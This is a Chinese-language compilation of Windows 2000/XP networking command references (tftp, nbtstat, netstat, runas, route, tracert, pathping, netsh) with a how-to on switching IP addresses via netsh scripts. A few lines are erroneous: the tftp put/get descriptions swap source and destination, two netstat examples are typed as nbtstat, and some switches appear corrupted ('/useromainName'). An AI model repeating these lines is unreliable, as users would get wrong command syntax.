    Host
    指定本地或远程计算机。
    put
    将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证,所以用户必须登录到远程计算机,同时文件在远程计算机上必须可写。
    get
    将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。
    Source
    指定要传送的文件。
    Destination
    指定将文件传送到的位置。如果省略了 Destination,将假定它与 Source 同名。
    /?
    在命令提示符显示帮助。
    注释
    使用 get 参数
    如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 get。

    Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt,请键入:

    tftp vax1 put users.txt users19.txt
    Nbtstat
    显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。

    语法
    nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]

    参数
    -a remotename
    显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。
    -A IPAddress
    显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
    -c
    显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。
    -n
    显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。
    -r
    显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上,该参数将返回已通过广播和 WINS 解析和注册的名称号码。
    -R
    清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。
    -RR
    重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。
    -s
    显示 NetBIOS 客户和服务器会话,并试图将目标 IP 地址转化为名称。
    -S
    显示 NetBIOS 客户和服务器会话,只通过 IP 地址列出远程计算机。
    Interval
    重新显示选择的统计资料,可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数, netstat 将只显示一次当前的配置信息。
    /?
    在命令提示符显示帮助。
    注释
    Nbtstat 命令行参数区分大小写。
    下表列出了由 Nbtstat 生成的列标题。 标题 说明
    Input 接收的字节数。
    Output 发送的字节数。
    In/Out 该连接是否从计算机(传出)或者其他计算机到本地计算机(传入)。
    Lift 名称表缓存项在被清除之前所存留的时间。
    Local Name 本地 NetBIOS 名称与连接相关联。
    Remote Host 与远程计算机相关的名称或 IP 地址。
    <03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义,因为相同的名称(只有最后一个字节不同)可能在一台计算机上出现几次。例如,<20> 在 ASCII 文本中是一个空格。
    Type 名称类型。名称可以是单个名称,也可以是组名称。
    Status 远程计算机上是否在运行 NetBIOS 服务(“已注册”),或同一计算机名是否已注册了相同的服务(“冲突”)。
    State NetBIOS 连接的状态。

    下表列出了可能的 NetBIOS 连接状态。 状态 说明
    已连接 会话已建立。
    关联 连接的终结点已经被创建并与 IP 地址关联。
    正接听 该终结点对内向连接可用。
    空闲 该结束点已被打开单不能接收连接。
    正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。
    接受 入站会话当前正在被接受,将在短期内连接。
    重新连接 会话将试图重新连接(如果第一次连接失败)。
    出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。
    入站 入站会话在连接期。
    正在断开 会话正在断开连接。
    已中断连接 本地计算机已断开连接,并正等待远程系统的确认。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表,请键入:

    nbtstat -a CORP07

    要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入:

    nbtstat -A 10.0.0.99

    要显示本地计算机的 NetBIOS 名称表,请键入:

    nbtstat -n

    要显示本地计算机 NetBIOS 名称缓存的内容,请键入:

    nbtstat -c

    要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入:

    nbtstat -R

    要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入:

    nbtstat -RR

    要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入:

    nbtstat -S 5

    Netstat
    显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。

    语法
    netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]

    参数
    -a
    显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
    -e
    显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。
    -n
    显示活动的 TCP 连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。
    -o
    显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。
    -p Protocol
    显示 Protocol 所指定的协议的连接。在这种情况下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息,则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
    -s
    按协议显示统计信息。默认情况下,显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议,就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。
    -r
    显示 IP 路由表的内容。该参数与 route print 命令等价。
    Interval
    每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数,netstat 将只打印一次选定的信息。
    /?
    在命令提示符显示帮助。
    注释
    与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。
    Netstat 提供下列统计信息:
    Proto
    协议的名称(TCP 或 UDP)。

    Local Address
    本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数,就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。

    Foreign Address
    连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数,就显示与 IP 地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。

    (state)
    表明 TCP 连接的状态。可能的状态如下:

    CLOSE_WAIT

    CLOSED

    ESTABLISHED

    FIN_WAIT_1

    FIN_WAIT_2

    LAST_ACK

    LISTEN

    SYN_RECEIVED

    SYN_SEND

    TIMED_WAIT

    有关 TCP 连接状态的信息,请参阅 RFC 793。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要想显示以太网统计信息和所有协议的统计信息,请键入下列命令:

    netstat -e -s

    要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令:

    netstat -s -p tcp udp

    要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令:

    nbtstat -o 5

    要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令:

    nbtstat -n –o

    Runas
    允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。

    语法
    runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program

    参数
    /profile
    加载用户的配置文件。/profile 是默认值。
    /no profile
    /noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速,但是在一些应用程序中也会引起错误。
    /env
    指定当前使用的网络环境,而不是用户的本地环境。
    /netonly
    指明指定的用户信息只用于远程访问。
    /smartcard
    /smartcard 表示凭据是否是由智能卡提供的。
    /showtrustlevels
    列出 /trustlevel 开关项。
    /trustlevel
    指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。
    /user:UserAccountName
    指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\user。
    程序
    指定要用在 /user 中指定的帐户运行的程序或命令。
    /?
    在命令提示符显示帮助。
    注释
    管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务,只有在执行特定管理任务时,才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务,可以用一般帐户登录,然后使用 runas 命令来运行需要更大权限的工具。
    有关 runas 命令的使用范例,请参阅“相关主题”。
    尽管 runas 通常由 Administrator 帐户使用,但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据,使用 runas 运行程序、MMC 控制台或“控制面板”项。
    如果要在计算机上使用 Administrator 帐户,对于 /user:,键入下列参数之一:
    /user:AdministratorAccountName@ComputerName

    /user:ComputerName\AdministratorAccountName

    如果想以域管理员身份使用这个命令,键入下列参数之一:
    /user:AdministratorAccountName@DomainName

    /useromainName\AdministratorAccountName

    runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。
    可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息,用户帐户就具有登录到计算机的能力,并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用.
    runas 命令允许您管理其他域的服务器(运行工具的计算机和要管理的服务器在不同的域中)。
    如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项,可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。
    有些项,例如“打印机”文件夹和桌面项,间接由 Windows 2000 打开,而不能使用 runas 命令启动。
    如果 runas 命令失败,则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态,请在“计算机管理”中单击“服务和应用程序”,然后单击“服务”。要测试用户帐户,请尝试使用该帐户登录合适的域。
    范例
    要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例,请键入:

    runas /user:localmachinename\administrator cmd
    系统提示时,键入管理员密码。

    要使用名为 companydomain\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入:

    runas /user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc"
    当提示时,键入帐户密码。

    要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入:

    runas /user:user@domain.microsoft.com "notepad my_file.txt"
    当提示时,键入帐户密码。

    要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入:

    runas /netonly /useromain\username "command"
    domain\username 必须是有足够权限管理服务器的用户。当提示时,键入帐户密码。
    Route
    在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。

    语法
    route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface]

    参数
    -f
    清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在运行命令之前清除。
    -p
    与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。
    Command
    指定要运行的命令。下表列出了有效的命令。 命令 目的
    add 添加路由
    change 更改现存路由
    delete 删除路由
    print 打印路由

    Destination
    指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路由是 0.0.0.0。
    mask subnetmask
    指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是 255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。
    Gateway
    指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。
    metric Metric
    为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。
    if Interface
    指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。
    /?
    在命令提示符显示帮助。
    注释
    路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。
    如果在 systemroot\System32\Drivers\Etc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemroot\System32\Drivers\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。
    如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。
    使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)是否有些位设置成了 1。
    只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示 IP 路由表的完整内容,请键入:

    route print

    要显示 IP 路由表中以 10. 开始的路由,请键入:

    route print 10.*

    要添加默认网关地址为 192.168.12.1 的默认路由,请键入:

    route add 0.0.0.0 mask 0.0.0.0 192.168.12.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:

    route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3

    要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:

    route delete 10.41.0.0 mask 255.255.0.0

    要删除 IP 路由表中以 10. 开始的所有路由,请键入:

    route delete 10.*

    要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:

    route change 10.41.0.0 mask 255.255.0.0 10.27.0.25

    怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server
    在命令行下更改ip地址

    Windows2000是现在比较流行的*作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的):

    C:\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)

    Windows 2000 IP Configuration

    Ethernet adapter 本地连接:

    Connection-specific DNS Suffix . :

    IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip)

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

    Default Gateway . . . . . . . . . : 10.1.1.254

    C:\>netsh (进入设置模式)

    netsh>interface

    interface>ip

    interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254

    interface ip>exit


    上文中的set命令具体解释如下:

    set address - 设置指定的接口的 IP 地址和默认网关。

    set dns - 设置 DNS 服务器模式和地址。

    set wins - 设置 WINS 服务器模式和地址。


    C:\>ipconfig (更改后再用ipconfig命令看一下,确认一下是否更改成功)

    Windows 2000 IP Configuration

    Ethernet adapter 本地连接:

    Connection-specific DNS Suffix . :

    IP Address. . . . . . . . . . . . : 10.1.1.111

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

    Default Gateway . . . . . . . . . : 10.1.1.254


    命令一览
    .. - 移到上一层上下文级。
    ? - 显示命令列表。
    aaaa - 更改到 `aaaa` 上下文。
    abort - 丢弃在脱机模式下所做的更改。
    add - 将一个配置项添加到项目列表中。
    alias - 添加一个别名
    bye - 退出程序。
    commit - 提交在脱机模式中所做的更改。
    delete - 在项目列表上删除一个配置项目。
    dhcp - 更改到 `dhcp` 上下文。
    dump - 显示一个配置脚本。
    exec - 运行一个脚本文件。
    exit - 退出程序。
    help - 显示命令列表。
    interface - 更改到 `interface` 上下文。
    offline - 将当前模式设置成脱机。
    online - 将当前模式设置成联机。
    popd - 从堆栈上打开一个上下文。
    pushd - 将当前上下文放推入堆栈。
    quit - 退出程序。
    ras - 更改到 `ras` 上下文。
    routing - 更改到 `routing` 上下文。
    set - 更新配置设置。
    show - 显示信息
    unalias - 删除一个别名。
    wins - 更改到 `wins` 上下文。
    快速切换IP地址有绝招

    在工作过程中会遇到在不同的网段中进行网络调试的情况,经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机,但还要进入网络属性设置中进行*作。有没有再简便一点的方法呢,比如用鼠标双击一下快捷方式就可以实现IP地址的切换?

      答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式(在“开始→运行”中键入“cmd”即可进入命令行模式),在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式,键入dump则列出接口IP配置信息:

      C:\Documents and Settings\Administrator>netsh
      netsh>
      netsh>int ip
      interface ip>dump
      # ----------------------------------
      # 接口 IP 配置
      # ----------------------------------
      pushd interface ip
      # ″本地连接″ 的接口IP 配置(注:以下显示视具体机器情况而定)
      set address name = ″本地连接″ source = static addr = 192.168.0.5 mask = 255.255.255.0
      set address name = ″本地连接″ gateway = 192.168.0.2 gwmetric = 1
      set dns name = ″本地连接″ source = static addr = 61.237.17.181
      add dns name = ″本地连接″ addr = 211.97.168.129
      add dns name = ″本地连接″ addr = 211.98.4.1
      set wins name = ″本地连接″ source = static addr = none
      # ″本地连接 2″ 的接口 IP 配置
      set address name = ″本地连接 2″ source = dhcp
      set dns name = ″本地连接 2″ source = dhcp
      set wins name = ″本地连接 2″ source = dhcp
      popd
      # 接口 IP 配置结束

    快速切换IP地址有绝招 2


    现在我们可以大致了解到用netsh命令更改IP地址的方式,即通过“set address name =连接名称(连接名称要用引号括起来)source=static addr=IP地址 mask=子网掩码”来实现。

      到命令行模式下用netsh直接试一下。比如要将本机的IP地址改为192.168.0.7,子网掩码为255.255.255.0,可以进行以下*作:

      C:\Documents and Settings\Administrator>netsh
      netsh>int ip
      interface ip>set address name ="本地连接"source = static addr = 192.168.0.7 mask = 255.255.255.0
      确认更改。
      interface ip>exit
      再用ipconfig命令核实一下:
      C:\Documents and Settings\Administrator>ipconfig
      Windows 2000 IP Configuration
      Ethernet adapter 本地连接 2
      Media State . . . . . . . . . . .  Cable Disconnected
      Ethernet adapter 本地连接
      Connection-specific DNS Suffix . 
      IP Address. . . . . . . . . . . .  192.168.0.7
      Subnet Mask . . . . . . . . . . .  255.255.255.0
      Default Gateway . . . . . . . . .  192.168.0.2

      从以上显示中可以看到已经成功实现了在Win2000中用命令行方式来改变IP地址。用这种方式改变IP地址甚至还没有在图形界面中*作来得快。不过我们再用脚本帮一下忙,离胜利目标就不远了。首先打开记事本,输入以下内容:

      int ip
      set address name=″本地连接″ source=static addr=192.168.0.7 mask=255.255.255.0

      然后保存为一个名为“7.sh”的文件,放到C盘根目录下,再进入命令行模式,在C盘根目录下键入“netsh exec 7.sh”,好像没什么反应啊?不过再用ipconfig查看一下,会发现IP地址已经改过来了。

      最后再用记事本写一个批处理文件,命名为“7.bat”,内容为“netsh exec 7.sh”。为该文件在桌面上创建一个快捷方式,这样双击该快捷方式即可实现IP地址的快速改变。如果要快速在192.168.0.5、192.168.0.7等相同网段IP地址间进行切换的话,只需要改变“addr”后面的地址即可,但是要将IP地址改为如172.19.96.7之类不同网段的IP地址,就需要将网关信息一起改变,也就是在脚本文件中加入一行关于网关的信息:

      int ip
      set address name = ″本地连接″source = static addr= 172.19.96.7 mask = 255.255.255.0
      set address name = ″本地连接″gateway = 172.19.96.1 gwmetric = 1

      同样地将以上内容存为脚本文件,再做成批处理文件执行一下,用ipconfig/all命令检测一下,发现包括网关在内的信息也修改过来了。这是不是既快又方便,IP地址想换就换?
    使用 netstat 显示连接统计
    可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示 Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。
    Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
    -d 指定不将IP 地址解析到主机名称。
    -h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
    -j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
    -w timeout 等待 timeout 为每次回复所指定的毫秒数。
    target_name 目标主机的名称或 IP 地址。
    pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。
    -n Hostnames 不将地址解析成主机名。
    -h Maximum hops 搜索目标的最大跃点数。
    -g Host-list 沿着路由列表释放源路由。
    -p Period 在 ping 之间等待的毫秒数。
    -q Num_queries 每个跃点的查询数。
    -w Time-out 为每次回复所等待的毫秒数。
    -T Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
    -R RSVP test Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
    在命令提示符下交互使用 DHCP 命令
    打开 命令提示符。
    键入 netsh。
    在 netsh>(Netshell) 命令提示行键入“dhcp”。
    在 dhcp>(DHCP 辅助程序)命令提示行,为您要管理的服务器键入 server \\servername 或 server ip_address。
    一旦您有权管理的服务器已成功连接,则会看到“您可以对服务器 servername 进行读写访问”
    一旦连接成功,您就可以使用用于 DHCP 的任何支持的 Netshell 命令。 键入 /? 或 help 来显示直接的 DHCP 子命令菜单或作为选项显示,键入 list 列出可与 DHCP 一起使用的所有 Netshell 子命令。
    route 的命令
    routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
    routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
    routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
    routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
    routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
    routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
    routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
    routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
    routing ip set/show loglevel 配置或显示全局 IP 记录等级。
    routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
    routing ip show protocol 显示所有正在运行的 IP 路由协议。
    routing ip show mfe 显示多播转发项。
    routing ip show mfestats 显示多播转发项统计。
    routing ip show boundarystats 显示 IP 多播边界。
    routing ip show r *** estinations 显示路由表管理器路由表中的目标。
    routing ip show rtmroutes 显示路由表管理器路由表中的路由。
    routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
    routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
    routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
    routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
    routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
    routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
    routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
    routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
    routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
    routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
    routing ip igmp set/show global 配置或显示 IGMP 全局设置。
    routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
    routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
    routing ip igmp show grouptable 显示 IGMP 主机组表。
    routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
    routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
    routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
    routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
    routing ip ospf set/show global 配置或显示全局 OSPF 设置。
    routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
    routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
    routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
    routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
    routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
    routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
    routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
    routing ip ospf show areastats 显示 OSPF 区域统计。
    routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
    routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
    routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
    routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
    routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
    routing ip relay show ifbinding 显示接口的 IP 地址绑定。
    routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
    routing ip relay show ifstats 显示每个接口的 DHCP 统计。
    routing ip rip set/show global 配置 IP 的 RIP 全局设置。
    routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
    routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
    routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
    routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
    routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
    routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
    routing ip rip show globalstats 显示全局 RIP 参数。
    routing ip rip show ifbinding 显示接口的 IP 地址绑定。
    routing ip rip show ifstats 显示每个接口的 RIP 统计。
    IPX netsh 路由命令
    routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
    routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
